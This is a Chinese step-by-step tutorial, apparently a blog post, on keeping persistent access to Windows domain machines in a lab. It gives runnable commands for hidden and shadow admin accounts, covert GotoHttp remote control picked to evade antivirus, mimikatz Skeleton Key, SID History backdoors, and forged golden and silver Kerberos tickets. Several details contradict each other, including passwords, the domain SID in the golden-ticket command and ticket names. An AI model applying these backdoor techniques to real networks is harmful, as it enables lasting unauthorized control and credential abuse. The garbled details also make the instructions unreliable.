在内网渗透中,获取目标主机权限后,通常需要通过建立后门等方式实现权限维持,确保在漏洞被修复后仍可持续控制目标。因此,权限维持是内网渗透中的关键环节之一。

环境说明

注意:①主机的开启顺序一定为DC、WebServer、FileServer或SQL Server、Mary或Jack。②环境在资源“内网环境文件(5台Vmware虚拟机环境)”中获取。

1、DC

名称
操作系统Windows Server 2008
IP地址102.168.179.21

在这里插入图片描述

2、WebServer

名称
操作系统Windows Server 2008
IP地址102.168.179.31

在这里插入图片描述

3、SQL Server

名称
操作系统Windows Server 2012
IP地址102.168.179.32

在这里插入图片描述

4、FileServer

名称
操作系统Windows Server 2003
IP地址102.168.179.30

在这里插入图片描述

5、Marry

名称
操作系统Windows 7
IP地址102.168.179.25

在这里插入图片描述

6、Jack

名称
操作系统Windows 8.1
IP地址102.168.179.29

在这里插入图片描述

一、创建隐藏账户

1、CreateHiddenAccount工具

操作主机:DC(Windows Server 2008)

下载地址

创建隐藏账户后,可通过 3389 远程桌面控制目标;该隐藏账户命令行无法查到,仅控制面板可见。

Step1:上传CreateHiddenAccount_upx_v0.2.exe工具创建隐藏账户

在这里插入图片描述

Step2:进入CMD命令行,调用工具

#利用CreateHiddenAccount_upx_v0.2.exe工具创建一个隐藏账户:用户名klimov;密码xiaolin!@#45
C:> CreateHiddenAccount_upx_v0.2.exe -u klimov -p klimov!@#45

在这里插入图片描述

Step3:用命令查看隐藏用户是否存在

工具创建的隐藏账户,常规命令无法检测,仅在计算机用户列表可查,且归属管理员组。

C:> net user /domain

在这里插入图片描述

Step4:用工具检查是否具有隐藏用户

C:> CreateHiddenAccount_upx_v0.2.exe -c

在这里插入图片描述
该工具支持域环境和单机环境;且在单机下创建隐藏账户,常规方式无法删除。

2、影子账户

影子账户即隐藏管理员账户,在 CMD 和计算机管理中均不可见,却拥有管理员权限。该概念伴随 Windows 系统出现,属于黑客权限维持后门技术。因其隐蔽性高,入侵者常在被控主机植入,用于远程登录操控设备。

操作主机:Jack(Windows 8.1)
操作账户(本地账号):

  • 账号:.\jack
  • 密码:admin

(1)影子账户利用思路

  1. 克隆管理员Administrator账户权限
    • 需要注意管理员帐户是否被禁用,如果被禁用,那么克隆出的隐藏帐户也是被禁用状态。
  2. 复制已有账户
    • 在3389远程登录的利用上存在相同帐户的冲突关系
    • 如果系统当前登录帐号为a,那么使用由账户a克隆来的隐藏帐户aaa$登录的话,会系统被识别为帐户a,导致帐户a下线
  3. 新建账户再复制
    • 新建管理员帐户b,克隆帐户b,建立隐藏账户bbb$
    • 删除管理员帐户b,隐藏账户bbb$仍然有效
  4. 原账户的维持
    • 克隆帐户a的权限,建立隐藏帐户aaa$
    • 修改帐户a的密码,隐藏帐户aaa$仍然有效

(2)创建影子账户

Step1:以管理员身份打开CMD,并创建一个名为aaa$的用户

C:> net user aaa$ Admin12345 /add
C:> net localgroup administrators aaa$ /add

Step2:在管理员权限的CMD中,使用regedit命令打开注册表

位置:

HKEY_LOCAL_MACHINE/SAM/SAM/Domains/Account/Users/

提高权限,让非管理员用户也能查看SAN。

在这里插入图片描述

已创建好的隐藏用户。

在这里插入图片描述

Step3:修改隐藏用户$aaa的十六进制值为Administrators

在这里插入图片描述
在这里插入图片描述
找到Administrator的十六进制数字,复制Administrator的000001F4文件夹里面的F值到隐藏账户aaa$里面的F值中。
在这里插入图片描述

在这里插入图片描述

Step4:找到Names里面的aaa$对应的十六进制目录,右键导出并保存

在这里插入图片描述

Step5:命令删除aaa$用户

在这里插入图片描述

Step6:将刚刚导出的注册表信息重新导入(双击文件导入即可)

Step7:使用影子账户aaa$登录,其实是以Administrator的身份登录的

在这里插入图片描述

注意:登录所用的账户有格式要求。登录的账户和密码为:
- 账户:.\aaa$
- 密码:Admin12345

二、利用GotoHttp远程连接

  • 使用优势:远控软件在内网渗透中应用广泛。CS、MSF生成的后门需要进行免杀处理;向日葵、ToDesk等民用远控被安全厂商加入白名单,无需免杀即可控制服务器。
  • 使用方式:软件免安装,上传至目标主机后可直接运行。
  • 运行特征:程序运行后会在当前目录生成记录文件,内含设备ID与控制码,读取文件即可获取信息。

下载地址

要求:

  1. 远控软件无需安装,注册,实名,拿来即用,快捷方便,匿名性较好。

  2. 远控软件无需管理员权限也可使用,可以在提权困难或失败等某些特殊场景下快速横向。

  3. 远控软件被控端是免杀的,因为远控软件基本上都有可信的数字证书签名,所以大部分的远控软件都是满足条件的。

  4. 远控软件被控端体积尽可能小,方便上传部署。

  5. 远控软件支持跨平台,满足一些特殊场景需要。

  6. 远控软件在不出网纯内网的情况下也可以使用。

  7. 远控软件开源的话更好,安全可控,还能自定义修改。

Step1:上传到DC主机并运行

在这里插入图片描述

Step2:在本地浏览器打开文件中的网址,输入ID值和控制码信息,即可在浏览器上控制对方

在这里插入图片描述

在这里插入图片描述

  • 优点

    1. 无需安装控制端软件,有浏览器就可以远控
    2. 流量走的https协议,只要目标放行443端口就可以实现
    3. 低带宽环境下也可以使用,运行占用内存和CPU极低
  • 缺点

    1. 目标有网络,且不封堵https
    2. 目标主机休眠状态下唤醒远程控制,会导致安全卫士的拦截。但是其他软件不会拦截(可以使用该软件手动关闭杀毒软件)

三、基于登录进程劫持(Skeleton Key技术)

Step1:域内的某个用户与DC通讯

# 当与DC域控主机没有建立连接的时候,执行命令时会报拒绝访问
C:\> dir \\owa2010cn-god\c$
# 当使用收集到的凭据信息去发起连接之后,再次执行命令时,可正常执行命令
C:\> net use \\owa2010cn-god\ipc$ "Admin12345" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

在这里插入图片描述

Step2:此时凭借着已经取得的DC域控的权限,使用mimikatz工具写入万能密码

#写入万能密码:
mimikatz # privilege::debug
#刷新,保存
mimikatz # misc::skeleton

在这里插入图片描述

Step3:写入万能密码之后,可以直接在其他域控主机上使用万能密码连接DC域控主机

C:\> net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

在这里插入图片描述

这种权限维持的方式有一定的缺点!因为Skeleton Key技术是被注入到“lsass.exe”进程的,所以他只存在内存中,如DC域控重启,“lsass.exe”进程将会重新加载,那么万能密码将失效!

# 断开所有到目标主机的连接
C:\> net use \\owa2010cn-god\ipc$ /delete
# 或直接断开所有已建立的连接(如果只有这一条)
C:\> net use * /del /y

Step4:重启DC域控之后,重新测试域内用户和DC通讯

C:\> net use \\owa2010cn-god\ipc$ "mimikatz" /user:god.org\administrator
C:\> dir \\owa2010cn-god\c$

在这里插入图片描述

四、基于用户属性修改(SID history)

Step1:获取DC域控的权限之后,调用powershell执行命令获取内某用户的SID属性

#powershell执行命令:
C:\> Import-Module ActiveDirectory
C:\> Get-ADUser webadmin-Properties sidhistory

在这里插入图片描述

# 此命令在cmd可执行
C:\> wmic useraccount get sid,name

在这里插入图片描述
Step2:mimikatz添加SID History后门

# 将administrator的SID添加到webadmin的SID History属性中

mimikatz # privilege::debug
mimikatz # sid::patch
mimikatz # sid::add /sam:webadmin /new:administrator

在这里插入图片描述

Step3:此时再次使用PowerShell查看test用户的SID History(发现已经具备了管理员的权限)

C:\> Import-Module activedirectory
C:\> Get-ADUser webadmin -Properties sidhistory

在这里插入图片描述
Step4:使用webadmin域用户直接连接DC域控主机

在这里插入图片描述

五、黄金白银票据

1、黄金票据制作

备注:在横向移动过程中可以利用信息收集过程中去获得。后续操作均在Web Server中操作。

Step1:利用mimikatz获取krbtgt账户的hash值,并导出

krbtgt是Windows域中的默认管理员账户,它是域控制器使用的账户。该账户由LDAP和Kerberos认证系统使用,并且在域环境中的每个域控制器上都存在一个krbtgt账户。这个账户的主要作用是为了帮助用户和应用程序使用Kerberos进行身份验证,并授权票据。

# 获取hash值:
mimikatz # privilege::debug
# 导出hash值:
mimikatz # lsadump::lsa /patch

在这里插入图片描述

# krbtgt账户的hash值:
b097d7ed97495408e1537f706c357fc5

Step2:在受控主机上执行命令获取域的SID值

# 获取当前受控主机的SID值:
C:\> whoami/all
# 获取所有SID值:
C:\> wmic useraccount get sid,name

在这里插入图片描述

# SID值:
S-1-5-21-1218902331-2157346161-1782232778

Step3:利用mimikatz生成票据

mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-782232778 /krbtgt:b097d7ed97495408e1537f706c357fc5 /ticket:klimov

在这里插入图片描述

Step4:把生成出来的票据导入到被控机的内存中(导入之前要先清除当前所有票据)

# 查看票据:
C:\> klist
# 清除所有票据:
C:\> klist purge

Step5:利用mimikatz将刚刚伪造的黄金票据(xiaolin)导入到内存中

mimikatz # Kerberos::ptt klimov

在这里插入图片描述

受控机CMD检查票据

C:\> klist

在这里插入图片描述

Step6:利用票据,连接域控主机

C:\> dir \\owa2010cn-god\c$

在这里插入图片描述

2、白银票据制作

白银票据需拿下域控、获取其 hash;黄金票据需拿下 krbtgt 账号 hash,二者分别用对应 hash 伪造票据攻击。

Step1:获取当前受控主机的SID(DC主机中操作)

# 获取当前受控主机的SID值:
C:\> whoami/all
# 获取所有SID值:
C:\> wmic useraccount get sid,name

在这里插入图片描述

# SID值:
S-1-5-21-1218902331-2157346161-1782232778

Step2:获取域管理员账户的hash值(DC主机中操作)

# 1. 先设置输出日志文件
mimikatz # log mimikatz_output.txt

# 2. 运行你需要的命令(所有输出都会写入文件)
mimikatz # privilege::debug
mimikatz # sekurlsa::logonpasswords

# 3. 停止日志记录
mimikatz # log stop

注意:当前域控主机名是owa2010cn-god,所以选择hash值的时候要选择对应的主机名的hash值。

在这里插入图片描述

Step3:查看受控机器上所有的票据,并清除(成员主机中操作)

#查看票据:
C:\> klist
#清除所有票据:
C:\> klist purge

Step4:利用mimikatz伪造白银票据(成员主机中操作)

mimikatz # kerberos::golden /user:webadmin /domain:god.org /sid:S-1-5-21-1218902331-2157346161-1782232778 /target:owa2010cn-god /service:cifs /rc4:d6c10e6e4446d6a965f22b657debdb54 /ptt

参数说明:

  • 伪造用户:webadmin
  • target:要访问的服务器
  • service:要访问的资源类型
  • cifs:共享文件
  • 调用mimikatz输入命令利用收集到的域管用户的hash值和受控主机的SID值伪造白银票据

备注:白银票据对比黄金票据光看名字就知道谁更牛逼了~~伪造白银票据只能访问特定的服务

在这里插入图片描述

Step5:利用票据,连接域控主机(成员主机中操作)
在这里插入图片描述

黄金票据和白银票据的区别:

  • 黄金票据:伪造的票据可以获取任意的访问权限;由krbtgt NTLM hash加密
  • 白银票据:只能访问指定的服务,如CIFS;由服务账号的NTLM hash加密

更多推荐